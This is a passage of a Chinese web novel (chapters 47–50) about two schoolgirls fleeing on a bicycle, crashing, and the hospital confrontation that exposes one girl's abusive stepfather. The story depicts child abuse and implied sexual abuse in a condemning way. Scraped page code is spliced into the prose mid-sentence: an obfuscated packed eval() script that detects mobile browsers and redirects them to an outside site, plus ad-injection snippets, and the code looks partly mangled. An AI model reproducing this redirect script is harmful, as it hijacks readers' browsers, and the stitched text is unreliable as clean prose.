幸好这座游乐园的人并不多,这一轮游客下来,立刻就轮到了她们,林语禾甚至还饶有兴致地选了个橘红色的车厢,只可惜坐上去以后连最后一抹夕阳也沉到了地平线以下,她精心挑选的颜色顿时融入了夜色之中。 晓阳正想安慰她,却发现车厢外的彩灯依次亮了起来,林语禾扬起笑容:“我就说,这个摩天轮晚上是会亮灯的——你看,车厢外面的灯和它颜色是一样的。” 橘红色的小彩灯从车厢上悬垂而下,从玻璃的另一侧映过来,衬得她脸颊也仿佛染上了温暖的色调。 “你好像经常来?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660003|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林语禾点点头,又摇摇头:“……我小时候爸妈经常带我来,后来长大了,就再也没来过了,这是十年后第一次呢。”她轻轻摸着车厢的窗户玻璃,“小时候总感觉这个车厢好大好宽敞,一家人在里面坐着也好空,长大后才发现,原来它一点也不大,仅仅是这样两个人坐着都有点拥挤。” “也许一开始设计出来就是为了能坐得近一点。” “是啊。” 林语禾从窗户上收回目光,她用手比了比两个人膝盖之间的距离,此刻与晓阳面对面坐着,伸出手就能碰触到彼此,就像是一个小小的气泡,把两条游鱼包裹在了里面,与整座大海隔绝。 “……我爸爸,其实也是很早就不在了,癌症。”林语禾注视着眼前的晓阳,看到对方神色有些意外,她接着说道,“但没有谁知道我爸爸不在了。因为我叔叔……我妈妈现在的爱人,他也姓林。” 她轻轻笑了起来,笑容里带着几分“伪装成功”的调侃,更多的却是怅然:“时间久了,好像连我自己也快忘了,我姓的到底是哪个林。” 摩天轮渐渐升高,伴随着橘红色的,夕阳般的色彩,即将升上顶点,窗外万家灯火,就像是这座小城蔓延的血肉,她们就置身于宣城的心脏上,俯瞰着它的过去和未来。 “……晓阳,我们是一样的。” 那双琥珀色的眼眸总是弯弯得像天上的月亮,只有此刻,她凝视着眼前的少女,墨黑色的瞳孔中倒映出自己的模样。 两双不同的眼睛,却像是一面镜子,将镜中的彼此映得无比清晰。 她们的人生也像是镜子的两面。 同样失去了亲生父亲,同样是母亲进入第二段婚姻,然而却将两个人的人生导向了完全不一样的两极。 林语禾头上多了一双带着温度的手,她低了低头,从家里偷溜出来,又一路骑车载着晓阳来到这里,头发早就散乱得不成样子,加上她头发就有点容易炸毛,常女士有时候拿着梳子也梳得她头疼。 偏偏晓阳的手温柔得不像话,那些缠绕在一起的头发被她耐心地一点点梳理开,再一眨眼,一个漂亮又利落的高马尾,重新回到了林语禾脑袋上。 林语禾摸了摸自己头顶的茸毛,没心没肺地笑。 “我自己都梳不了这么好,你太厉害了,还有什么是你不会的啊~” 有的,很多,比如说逃离这场看不见尽头的噩梦,再比如说,像眼前的女孩一样,眼里充满了对未来的期待。 可这些都没什么大不了的,姜晓阳想,这一秒,她甚至开始庆幸,从始至终痛苦的人只有自己一个……没了江晓阳,也会有陈晓阳,王晓阳,在那个恶魔的凌虐下,即使是小禾,最终也只会变成和她一样绝望的“林晓阳”。 但这个“林晓阳”永远不会出现。 只要“姜晓阳”还活着,江晓阳就会拼尽全力,让这个开朗又明媚的女孩子,平平安安、堂堂正正地做林语禾。 她会认识更多的新朋友,时间总有一天会让她忘记曾经的这一刻,忘记自己的名字,甚至忘记这个国庆,但没关系。 “晓阳快看,到顶点了——哇,夜景好漂亮!” 没关系,江晓阳会记得。 林语禾夸张地趴在玻璃上,热气呵出一个又一个泡泡似的雾气,她在上面笑嘻嘻地写下“禾”字,拉着晓阳的手,让她把自己的名字写在爱心的另一侧,晓阳顺从着她的动作,带着笑容任由她闹腾。 就在两人名字完整地显现在那团白雾上的时候,林语禾忽然回过头。 “我听说,摩天轮到达最高点的时候,许下的愿望就会成真。” “——晓阳,跟我一起逃跑吧。” 48. 第 48 章 宣城的游乐园远不如省城欢乐谷项目那么多,然而在这儿摆摊卖东西的摊贩却不少,从摩天轮下来,两人推着自行车一路往外,不知不觉地就被这些摊位上的小玩意给吸引去了视线。 等走出游乐园的时候,两人戴上了一模一样的米老鼠发箍,成对的发光手链,就连自行车的把手上也挂了一只戴安全帽的小黄鸭,一串风车镶在旁边,随着车轮滚动,迎面的风吹得它们呼啦啦地转个不停。 晓阳在身后单手怀抱住林语禾的后背,另一只手小心翼翼地提着月兔花灯,暖色的橘光映在脚下一块小小的圆形区域里,像是月兔在踩仓鼠的跑轮。 林语禾踩着脚踏板,自行车吱呀呀地往前跑,迎面一段长长的下坡,她伸直了双腿,在晓阳小声的尖叫中开怀大笑,没多久身后女孩的下巴放上了她肩头。 “头发扫得我好痒啊。” 逃跑,是一个和现实一点沾不上边的词汇,它指向未知,指向不安,晓阳没有问林语禾到底一开始是想带她去哪,还是说这份逃跑计划就是她最初的想法。 两人也默契地不去讨论,到底她们为什么要逃跑,到底……逃到哪里,才算是这场旅行的终点。 她们只是顺着这辆破破旧旧的小车,让它带着她们四处飞驰,就像是两只在海洋里漫无目的的鱼,天涯海角,逃到哪里似乎都可以——只要逃走就好了。 “你去过北京吗?” “没有。” “那我们去北京吧!” “北京在哪儿?” “不知道,反正往北方走就对了,骑车总能到的吧?” “好。” 身后是宣城的万家灯火,这座小小的自行车也有它的指路明灯,在黑夜里像是指南针一样指引着她们往前走,直到前面几块竖起来的金属警示牌阻拦住了去路。 【前方施工,请车辆绕行】 林语禾扶着龙头,踮起脚尖往里警示牌里头看,道路被挖开了厚厚一层,一辆挖掘机就停在旁边,还保持着要挖的动作,像是工作中间忽然打了个瞌睡。 等天亮,这里又会轰隆轰隆地动起工来,城市的发展总是这样,今天框这里,明天框那里,那些路就好像在不知不觉中变得越来越宽敞,越来越平坦。 曾经林语禾对此感到向往,巴不得有人能把六中门口也修一修,不至于让她在走神的时候,差点把鸡蛋吃到鼻子里去,又或是把运动鞋一不小心磕掉在脏兮兮的坑洼里,回家挨一顿臭骂。 ——只是这会儿,它的出现显得有些不近人情。 林语禾十分遗憾地宣布:“我们得换个方向了。” “要往哪走?” “往东,等施工的地方结束了,我们再找路往北走。”林语禾很是乐观地说道,甚至还幽默了一把,“说不定能从地球的另一端骑到北京。” 她的幽默逗笑了晓阳,后者摇了摇手里的月兔花灯:“那你一定会成为世界上骑自行车最好的人。” “当然,等我们到了北京,我就去应聘骑人力三轮——现在还有这个吗?” “不知道。” “如果没有,我就做第一个。” “万一不让做呢?” “那我就骑着车逃跑!” 车座上传来一阵笑声,林语禾确信自己的冷笑话水平又上涨了不少,之前和桂圆她们说“北极熊穿大衣”的笑话,那两个人可是一点没捧场。 想起那两张天真烂漫的脸,林语禾有些走神,车把手在黑暗里画了条龙。 “小禾?” “哦、哦……咱们走哪边?” 这段区域因为施工,连夜晚也没什么路灯照明,晓阳想了想,示意她们往中间那条路走:“看上去平坦一点。” 其实连她们自己也不知道这些路通往哪,就像她们也不知道所谓的“先往东走”,到底要往哪里走,才能算“东”,反正什么都是凭感觉,林语禾应了一声,车轱辘吱呀呀地又转动了起来。 “这辆自行车感觉用了很多年?” “对,我爸妈结婚的时候买的,比我年纪都大呢,要是论辈分,我可得叫它一声哥哥。” “这样都还没坏,质量真好。” “哈哈,那时候可是家里最宝贝的东西,现在嘛……我妈就随随便便丢院子里了,要不是我特意去找,都找不到它。” 提起自家亲妈,林语禾哈哈笑了两声,身后的晓阳却沉默了下去,她久久等不到对方说话,偏过脑袋:“晓阳?” “……你跟我一起跑了,你妈妈会很担心吧。” “嗯,应该会很担心吧。”林语禾笑了笑,无意识扭了一下车铃,叮铃铃的清脆响声回荡在巷子里,“不过,我从小就很让她操心……我小时候身体不好,能出门一次都难,那时候我妈还去找了算命先生,怕我活不到读书。” “后来身体慢慢好了,我爸爸又不在了,我和我妈吵架,她买什么东西回来我都讨厌,她领林叔叔回来的时候,我把毛毛虫丢到林叔叔毛衣里……” “然后呢?” “他被虫蛰得过敏,去医院输了几天液,我被我妈骂得狗血淋头。”林语禾吃吃笑,“我一直都这样,被我妈说是麻烦精,我也不改。” “我妈那个人,刀子嘴豆腐心……她会原谅我的,如果不原谅,我就缠着她说好话,我妈最受不了我这样了。” “……那我到时候和你一起去道歉。” “拉勾。” “好啦,好好骑车。” 晓阳靠在好友的肩上,轻轻地闭上了眼,夜风有点冰凉,她身上却出奇地温暖,耳边传来好友询问要走哪条路的声音,她没有睁开眼睛:“中间。” 她一直害怕黑暗,害怕未来,害怕变化,却也害怕现实没有任何变化,过去许多年里,她和仅有的两个朋友抱团取暖,他们的力量是那么弱小,就像是被雨淋湿的树枝,只有三个人凑在一块,才能勉强生起一团火,不至于让他们冻死。 可小禾不一样,她就是那团火焰本身,带着无穷的力量,光是呆在她身边,就让人觉得安定。 “你见过傅昭和关野啦。” “嗯。”林语禾扭头冲晓阳皱了皱鼻子,“你竟然不告诉我那是你朋友,害我还白白高兴半天,以为自己真的参加了什么活动,天上掉饮料呢!” 晓阳知道她说的是两人之前去店里,被傅昭送饮料那次。 “抱歉,我怕吓到你。” “明明关野更吓人。” 晓阳扑哧一声笑了:“那要好好说他,不许吓我们小禾。” “暂时不想原谅他。” “好,不原谅他。” “等到了北京,让他请我吃烤鸭,我就不生气了。” “……好。”晓阳被她给逗笑了,好一会儿才幽幽地说道,“他……一开始不是这样的。” “是因为他的脚吗?” “是。”晓阳望着手里小小的提灯,回忆沿着她轻声的叙述,慢慢在脑海里重新变为了彩色,“在他很小的时候,出了一次意外,骨头折断了……之后,就留下了后遗症。” “当时没有去医院吗?” 晓阳摇了摇头:“他爸妈很早就离婚了,各自都有了新家庭,关野的身份不太方便。” 无论是父亲还是母亲的新家庭,都不肯拿出一笔钱来医治这个孩子,而关野当时寄居的那些亲戚家里就更不肯了,更不要说骨头动手术,治好了也就算了,万一没有治好,被他赖上怎么办? 谁也不愿意为这个孩子的人生负责,就这样皮球踢着踢着,那只脚落下了永久的残疾,无论怎么努力,走路都慢吞吞的,无法保持平衡。 小孩的天真有时候残忍得不加掩饰,对于这个突逢巨变的同学,他们给关野取外号,用他的脚来捉弄他,甚至把他的名字报到运动会跑步项目里,当广播里开始到处寻找这个叫做“关野”的参赛选手,所有人都哄堂大笑起来—— “瘸子跑步喽!” 和关野走得近一点的同学同样接收到了这份恶意,他们的友善在这些人眼里就是“装”,在日复一日被划课本,书包被泼水,甚至饭盒被故意打翻之后,他们不得不站到了关野的对立面。 亲戚家的小孩闹着要赶他出去,他们不要被人嘲笑,后来,关野进了福利院,再后来,那座小院失去了主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人,他住了进来,成为那条街唯一的居民。 “他升学到四中以后,我、他、傅昭……我们三个人就成了朋友。” 林语禾没有去问傅昭身上又发生了怎样的故事,因为那天她亲眼看到了他的遭遇。 如果是两人刚刚认识的时候,她一定会很纳闷为什么晓阳会和会变成朋友。 明明没有生理缺陷,也没有寄人篱下……外人眼中,她有个小有名气的继父,她长得漂亮,还爱读书,如果她们是同班同学,林语禾想自己一定会鼓起勇气去和她交朋友。 可是她如今知道了晓阳温柔一面的背后,隐藏着多大的黑暗。 那张照片上晓阳痛苦的模样,那些男生显然不是第一次将这件事拿出来当谈资分享,这么多年,晓阳的父母知道这些事吗,他们扮演着什么样的角色? 应该不会是什么令人心安的角色,否则晓阳不会对自己的家庭显得如此冷淡而疏离,他们也许根本不在意她身上发生的一切,掩耳盗铃,甚至把这件事当做一种耻辱。 ……在晓阳死后,他们有过后悔吗? 眼前再次出现三岔路口,夜已经深了,这条街上白天是政府部门,晚上却也和宣城其他的老城区街道一样,狭窄,黑暗,施工的地方用一些牌子围挡起来,路边还散落着稀稀拉拉的自行车。 她习惯性地征求晓阳的意见:“走哪边?” “左边吧,从宣武街走。”晓阳说道,“该往北方了。” “……” “小禾?” “……好。” 二十多岁的老年自行车吱嘎吱嘎地发出抗议的声音,却还是尽职尽责地载着两人往前走。 只是,不知道是不是因为骑了太久,林语禾的体力早已下降得只剩个零头,车轱辘转啊转的,却没有了之前那么畅快的速度。 似乎只有意志力还支撑着她脚下用力 “这条路我好像很少来。”或许是两个人独处的温馨,让晓阳慢慢也放松了许多,她的话多了起来,“虽然在四中……但四中附近很多地方,我都没什么印象。” “……” “小禾,怎么不说话啦?” “哦……我刚刚没听清!” “太累了吗,要不要我载你?” “不用,你好好坐着就行,我会载你到目的地的。” 晓阳笑了:“怎么突然一本正经的?” 林语禾没说话,黑暗里,只剩车轮碾压过地面的轻响。 马上,这条路出去再左转,就是四中门口那条主路了…… 原本应该是这样的。 然而林语禾脚下的踏板踩了个空。 年久失修的自行车在长时间的高负荷工作下,脆弱得像是一张纸。 偏偏面前是一处窨井。 没有任何警示标语,只有黑洞洞的空虚,昭示着它失去了自己的井盖。 等自行车到跟前的时候,再刹车已经来不及了! 自行车的轮胎碾过空洞,巨大的压力逼得它猛然翘起尾巴,恰逢其时地顶爆了不堪重负的后轮胎—— “砰!” 没能作出反应,自行车的车把手往一边仓促地栽了过去,林语禾拼命地按紧了把手两侧的刹车,前轮发出沙哑而尖锐的“嘶”声,却阻挡不了它的颓势。 车座上,两人被高高地抛了起来。 五颜六色的风车簇拥着那只无忧无虑的小黄鸭,在林语禾的眼前画出一个完美的抛物线。 她扭过头,晓阳紧紧地抱着那只小小的兔子灯,两人视线仓促交汇,那一抹茫然而仓皇的倒影,映在她的眼底。 “对不起……” 对不起。 后背重重地砸向地板,剧痛顺着四肢百骸传导至中枢神经。 在失去意识前的最后一秒,林语禾脑海中浮现舒任之前无意中和她分享的趣闻。 2010年国庆,他和朋友骑车路过这条街,撞上一处失去井盖的窨井,自行车爆了胎——他朋友在医院里足足躺了好几天。 林语禾想弯一弯嘴唇,可在巨大的黑暗侵蚀之下,她最终毫无反抗之力地晕了过去。 49. 第 49 章 10月9日。 她完美地带着晓阳远离了那场悲剧。 她们相约一起上学,两个截然相反的方向,可谁也不愿意先停下脚步。 她们聊今天吃什么,聊什么时候再去时光书屋一起看书,她甚至邀请晓阳来家里做客,热情推荐常女士亲手做的糖醋排骨。 她们无忧无虑,一路上的人都在看她们,她也丝毫不在意,天南海北地找话题。 直到她问晓阳未来打算考哪儿的大学,身边的脚步停了下来,她仓促地回过头,晓阳站在原地对她笑:“未来对我来说太遥远了……” “你忘啦,我已经不在你身边了。” …… 林语禾倏然睁开眼,怦怦直跳的心跳声震得她耳膜都在鼓动,她动了动手指,钻心的疼,她这才发现整只手都被绑得像粽子一样动弹不得,再往上,手肘包着纱布,却没有打夹板。 有礼堂事件的例子在前,她充分掌握了自己现在的身体状态,竟然比想象中要好一点。 女儿刚刚动了动手指头,趴在床边的常美琴就醒了,她急忙抬起手按下了护士站的铃,又冲到门口喊了起来:“医生……医生在不在,41床的病人醒了!” 林语禾还有些昏昏沉沉的,听到她妈的声音,她这才后知后觉地想起来,她和晓阳一起摔倒进了医院。 她好端端的,还在这儿,那晓阳呢……晓阳在哪? 林语禾茫然地四处张望。 这回她住的不是单人病房,隔壁床是一个胖胖的大哥,他老婆正捏着耳朵训斥他不长教训又背着家里人吃肉给自己吃进医院来,另一边躺着个老爷爷,咳嗽咳得像是要吐出苦胆来。 唯独不见晓阳的身影。 她警觉起来,恰好常美琴从门口回来,她猛地抬起头:“妈,晓阳……就是和我一起进医院那个女孩儿呢,她床位在哪?” “晓阳……?”常美琴想起来了,“她爸爸来了,不肯办住院,要带她回家休养,这会儿不知道走了没有——小禾?!” 林语禾还没等她话说完,就从床上翻身而起,手肘撑着床板,龇牙咧嘴地硬是跳了下来,往外跑了出去。 “我去找她!” …… 林语禾在医院走廊上飞奔。 她心里只有一个念头——千万不能让晓阳离开医院,必须要让晓阳和她一起在医院里呆着,直到平安度过10月8号! 林语禾心急如焚。 幸好宣城医院她不是第一次来。 作为宣城唯一的医院,平时宣城居民有什么头疼脑热的,也都是往这儿来,更不要说林语禾之前还在这儿住过一次院,没多久她就听到了住院部大厅传来的喧哗声。 她紧赶慢赶跑过去,果不其然,是晓阳的继父姜国栋,正和住院部的医生争吵。 “我说了不办住院,你是不是听不懂人话!” “这位家长,麻烦你重视孩子的身体健康,她从自行车上摔下来,很有可能引发一些潜在的问题,要是现在不及时检查延误了病情,后果——” “后果,什么后果,我看你们医院就是要挣黑心钱,找借口骗钱而已。” “这位家长,请你不要那么激动,我们也是为了孩子身体着想!” “关你屁事,你让不让开,不让开小心我告你非法拘禁,限制人身自由!” 医生差点被这个男人气晕过去。 人是120急诊送来的,摔得衣服外头都能看到血迹,她爸却坚持不肯给孩子做处理,等人赶到医院,医生还想着面对面好沟通,谁知道这当爹的就是固执地要带孩子回家,说什么都不让医护碰孩子。 这是为什么? 他看向那个叫姜晓阳的女孩儿,刚刚情况紧急,只来得及让急诊给她做简单的伤口处理,可这孩子怕生得不得了,说什么都不肯把袖子和裤腿挽起来,只能退而求其次,帮她把手背上的擦伤给消毒上药。 但就那么一处伤,就能看得出来她伤得一点不轻,人又瘦得下巴尖尖的。 “万一摔成了脑震荡,那才是麻烦大了!” “一天天的就知道拿这些话唬我,我还能不知道?”姜国栋一把推开医生,“晓阳,回家!” 眼看着医生也拦不住这么人高马大的中年男人,晓阳就快要被他拽出大厅,林语禾拔腿就冲了上去,死死地抱住了晓阳的腰。 “不行,晓阳不能回家,她必须留在医院!” 又是谁在坏他的事! 姜国栋转过头,这才发现竟然是林语禾,要是放在平时,他不介意陪这漂亮丫头玩玩,可现在他没这耐心:“撒手!” “我不放,你为什么不让晓阳住院,她受伤了!” “都是皮外伤,养养就好了,没那么矫情。” “这怎么会是矫情!” 林语禾万万没想到姜国栋竟然这么铁石心肠,眼看着晓阳出了这么大的意外,他竟然还不为所动,她心一狠,忽然大声叫了起来:“晓阳,晓阳你怎么不说话?是不是头晕看不清路——医生,医生快来救人啊,我朋友摔出脑震荡了,快救救她!” 她一点不怕把事情闹大,倒不如说林语禾巴不得现在全医院的医护人员都能关注到晓阳,最好是给晓阳开一大堆检查的单子,只要能把她绑在医院,什么方法都可以。 她就是拖也要拖着晓阳跟她一起,在医院里留到8号结束! 这是她唯一能想出来也是唯一能实践的办法了! 无论是谁都不能阻拦她! 林语禾抬起眼,正好和晓阳四目相对,她焦急不已地催促:“晓阳,你快说你要留下来住院啊,只要你说,没人能把你带走!” “晓阳!”姜国栋警告地提高了音量,他似乎很急躁,像是赶时间要把晓阳从医院带走,“听爸爸的话!” “我——” 晓阳声音沙哑,还没能说出一句完整的话,被姜国栋狠狠拽了一把。 男人怒吼道:“我说了,听话!” 他的表情极为骇人,手上力度之大,更是让晓阳整个人趔趄了一下,差点摔倒在地上,幸好林语禾眼疾手快地撑住了她的身体。 但,掌心里的体温,远比之前要冰冷,林语禾下意识去摸晓阳的额头,摸到一手滚烫,再看她的嘴唇,已经泛白成了一片。 “医生,她发高烧了——” “滚开,少掺和别人的家事!”姜国栋眼见事情不妙,冲林语禾摆出了一副凶恶的表情。 可林语禾却寸步不让,甚至用力推开他的手,将晓阳挡在身后:“你要真是她家人,你就该让她呆在医院里——她发着烧,她还受了伤,她会死的!” 姜国栋想推开她:“我让你滚开!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我不!” 两人撕扯之下,男人的衣服被林语禾无意中扯开一角。 姜国栋的腰间有一个青龙纹身,有些骇人。 ……但令她瞪大双眼的原因,却并非它的凶恶。 而是她曾经见过这个纹身。 那几个校霸手里的照片上,压在晓阳身上,背对着镜头的那个男人—— 和姜国栋的纹身,一模一样。 林语禾的眼眶瞪到酸痛,她却眨也不敢眨,内心已然掀起了滔天巨浪。 这一瞬间,她明白了一切。 为什么她第一次见到晓阳的继父,就感觉对方的眼神很奇怪,甚至油腻得过分,不像是个长辈? 为什么晓阳在她继父在的时候,比平时更加沉默? 为什么晓阳身上发生了那么残忍的事情,她继父却像是无事发生? ……因为他就是凶手。 就是他,将晓阳一步步推进了深渊。 林语禾甚至不敢想象晓阳到底一个人默默承受了这一切多久。 晓阳一定很害怕。 一定很痛。 可是没有人救她。 林语禾在嘴巴里尝到了铁锈的味道,她钝钝地,后知后觉地意识到,哦,是她咬破了嘴唇。 她觉得自己错了。 人渣两个字,不足以形容眼前这个男人的龌龊。 他就是一头披着人皮的禽兽……不,连禽兽都不如! 她心里咀嚼着这些字眼,通红的双眼一瞬不瞬地死死盯着面前的男人。 他毫无所觉,似乎是对她这个拦路的麻烦人物耗尽耐心,伸出手要将晓阳从她身后拽走。 就是这只肮脏的手碰过晓阳。 就是这个肮脏的男人……他凭什么还能站在这里,他凭什么还冠冕堂皇地用着父亲的身份要把晓阳带走?! 他就是杀人凶手。 他才应该去死! “死”,这个带着强烈憎恨的情绪,将林语禾的思绪彻底占满。 四肢百骸的血液一瞬间冲上了她的天灵盖,让她有种在云端漫步的轻飘感,就连面对这个人高马大的男人,也没有任何恐惧。 只有一个念头,那就是——他该死。 他该去死。 去死去死去死去死!! 林语禾狠狠一口咬在了姜国栋的手腕上。 鲜血横流! 姜国栋痛得红了眼,他并不知道林语禾为什么突然发狂,但既然这臭丫头敬酒不吃吃罚酒,就别怪他动手! 他面目狰狞地对着林语禾高高举起了巴掌,常年游泳的手臂上青筋鼓起,肌肉虬结。 林语禾眼睁睁地看着那个手掌越来越近,越来越大,马上就要扇上她的脸颊。 “住手!” “林语禾同学!” “天啊,打人了!” 四面八方传来了无数声响,有人在尖叫,有人在震惊,也有熟悉的声音穿过了层层人群,传到了林语禾的耳边。 但,有一个人的动作,却比这些声音更快。 千钧一发之际,就连她都还没反应过来,手臂上传来一阵剧痛,不知道晓阳哪儿来的力气,竟然将她拉到了一边! 原本她站的位置,变成了晓阳。 那一巴掌,结结实实地扇在了晓阳白皙的脸蛋上! 50. 第 50 章 “啪”! 姜国栋力气之大,一瞬间,晓阳脸上就高高地鼓起了巴掌印。 震得耳朵嗡嗡直响,他却还不肯罢休,那个叫做林语禾的女孩目光中充满厌恶,这令他极为不悦。 一个黄毛丫头,她有什么资格用这种眼光看着自己! “没教养的臭丫头,我替你爹妈好好教育教育你!” 他的手被人制住了,一个穿着制服的警察从人群中冲了出来,严厉喝止道:“做什么!不准在医院闹事!” 他看了林语禾一眼,不动声色地把两个女孩挡在身后。 电光石火间,林语禾想起来对方是谁——她之前和那群校霸打架进公安局时,就是他语重心长地教育她,做事不能冲动的那个好心警察。 2020年舒任进入公安局刑侦支队的师傅,闫求真! 殊不知闫求真表面虽然看上去严肃,心里却一样惊讶不已,支队刚抓获了一个犯罪嫌疑人,按惯例要带嫌疑人过来医院采血,谁知道竟然就碰上了这么一桩事! 还是同一个小姑娘,前脚两人刚在公安局打完交道,这还不到24小时,竟然又碰了面,但眼下却不是关注这个的时候。 姜国栋被牢牢抓住手腕,就像是一只钳子一样,他动弹不得,脸上的凶狠顿时化为了温良憨厚的笑容,叫起冤来:“警察同志,我冤枉啊,我都不认识她,她硬要缠上来,不让我和我女儿离开!” “我刚刚是为了推开她,谁知道她竟然一下子把我女儿推出来挡了我的视线,我收不回来,这才打到了我女儿,我可没有动手!” 闫求真沉吟了一下,像是对他放松了警惕,姜国栋赶紧抓紧机会辩解:“我姓姜——就宣江冬泳比赛那个冠军,姜国栋,我还上过宣城晚报,您说我有什么必要在这么大庭广众之下动手呢?” 他把手腕伸出来,上面还有一排血牙印:“你看吧,是那丫头先咬了我!” 林语禾揽住唇色苍白,脸上肿得又红又烫,仿佛随时都会晕过去的晓阳,胸脯几次起伏,可话到嘴边,她只能强行忍下去,从齿尖迸出一句含恨的怒骂。 “……人渣!” 姜国栋一副坦然的模样,丝毫没把小姑娘的怒斥放在眼里,闫求真审视地打量他片刻,慢慢松开手,姜国栋装模作样地扭了扭手腕。 “我只不过是想带女儿回家休养,她就像只疯狗一样上来又骂又咬,警察同志,现在你知道了吧,根本就没发生什么事儿,完全就是她一个人在那发疯——”他说着,像以往每次被外人不小心看见晓阳伤口时那样。 熟练而沉着地吐出谎言,编织借口。 没有人会怀疑他。 谁会怀疑一个名声在外的“姜教练”? 姜国栋神情坦荡,丝毫不担心被人抓到把柄。 于事业,他在宣城交游广阔,上到新世界商业街的老板,下到楼下小卖部的老板,他都会笑嘻嘻打一声招呼,他是冬泳冠军,宣城里不说一半,至少也有三分之一的小孩学游泳是找他学,或是信任他的眼光,让他介绍教练。 于家庭,他有个好赌的老婆,对方还带了个半大不小的拖油瓶女儿,多少人都说他这样的条件找个头婚的都足够,姜国栋只含笑说有老婆孩子热炕头已经够幸福,连二胎这种话题都没提过,从晓阳读小学的时候他就车接车送,舍不得让女儿离开自己视线一秒,四邻都知道的女儿奴。 晓阳在别人眼里才是身在福中不知福的那个。 无论林语禾怎么想向别人揭穿这背后的真相,都只是竹篮打水一场空。 姜国栋嘴角勾起一抹胸有成竹的微笑。 “不是的。” 姜国栋的笑容僵在了脸上。 他不可置信地了过去。 晓阳不知道什么时候挣脱了林语禾的怀抱,慢慢地站直了身体,她的脸色苍白得像是张白纸,说话的声音也并不响亮,那双墨黑色的眸子看向姜国栋的眼神,却像是一团深渊里的火焰。 姜国栋莫名感到一丝危机感。 他见过晓阳哭泣的样子,更享受她求饶哀号的模样,那双眼睛里早就没了神采。 晓阳不会,也不敢这样看着他。 ……是哪里出了问题? “你不是想带我回家休养,你只是害怕别人知道我身上发生了什么。” 晓阳说着,慢慢伸出手,第一次在人前,主动挽起了衣袖,她的动作虽然缓慢,却没有一丝犹豫,显然是已经下定决心,姜国栋心里一紧:“别做多余的事!” 什么是多余的事呢? 晓阳面无表情,用力将袖子往上一拉。 一条纤细,却布满伤痕的手臂,暴露在医院的白炽灯下。 新的、旧的,有的是用鞭子抽出来的,有的是用衣架打的,最深的一处不知道已经存在了多少年,疤痕早已愈合,却留下了一条狰狞的印记。 “……不只是这里,还有很多地方。” 腿,肚子,腰……甚至是脖子。 高领和长袖掩盖之下,那些纵横交错的疤痕,脖子上现在还能清晰看到的淤青,那些她曾经小心翼翼藏起来的伤疤,那些她讳莫如深的耻辱,就这样坦然地暴露在了聚光灯下,像是伤口上腐烂的血肉被刀剔下,剧痛之中,却让她有种解脱的释然。 她甚至主动将衣领扯下来,周围层层投来的,陌生人那充斥着不同情绪与心绪的目光,曾经在她的噩梦里一次又一次地出现,可此刻晓阳近乎自虐般的,让他们都将这些伤痕看得清清楚楚。 如果她大哭大喊还好些,可那些狰狞蜿蜒的伤疤从她白皙的皮肤上攀爬而上,她的语气平静得令人发怵:“这些都是你在我身上留下来的伤口。” 青色的血管与鲜红的伤疤在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728660|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的身体上交织,剧烈的视觉反差让人不忍直视。 而此刻,住院大厅里要么就是救死扶伤的医生护士,要么就是来办手续的病人和探病的亲友……没有人是好端端地进来医院,得了病也好,受了伤也好,他们都渴望能早一点、早一刻从这里出去。 所以他们才更加愤怒于姜国栋的所作所为——看看一个健健康康的女孩儿,被他摧残成了什么样! 经验丰富的医护们更是一眼就看出了晓阳身上伤痕的严重程度,许多伤口哪怕颜色已经变浅变淡,却还是盘踞在皮肤上,甚至有些伤口就在静脉附近,要是再深一些,说不定这孩子早就没命了! 之前苦苦拦着姜国栋,不让他把晓阳带走的眼镜男医生总算明白了为什么这个男人行踪如此可疑,他气得话都在发抖:“这是犯罪,是家暴……我就说为什么孩子从自行车上掉下来,后脑勺说不定都磕了,当爹的却一点都不紧张,原来你是真的没把孩子的命放在心上!” 周围人原本还在嘀咕,听到连医生都这么说,纷纷变了脸色,一个拄着拐杖的老太太声音高了八度:“啥,后脑勺摔了都不治——不会是想把孩子偷偷弄死,再栽赃给医院讹钱吧!” 不怪她这么想,是个人都能看得出来,当初下这个手的人用了多大力气,这就是往死里打啊! 闫求真虎视眈眈地盯着姜国栋,眼看着自己就要被铐起来,姜国栋慌了:“警察同志,警察同志,你听我解释——” “晓阳,撒谎是不对的。”姜国栋砖头,一副苦口婆心的样子,“爸爸不想在外人面前揭你的伤疤,但是你不能这样污蔑爸爸——你们不要听信一个小孩的一面之词,她还没有成年,她连最起码的是非黑白都分不清,你们有我了解她吗?” “一个小女孩儿,在学校不学好,和社会上不三不四的那些人接触,在座的就没有家里有女儿的父母,你们难道不担心不害怕女儿会出什么事?”姜国栋重重地叹了口气,“难道为人父母,就该什么都顺着孩子,哪怕她去染上一些坏习惯,甚至走上不归路我们也不管?” 父亲这个角色,天然就让姜国栋这段话极具感染力,刚刚还怒骂着要警察把他抓走的人这会儿也拿不准情况了,有人咕哝道:“那也不能这么体罚孩子,打坏了怎么办?” 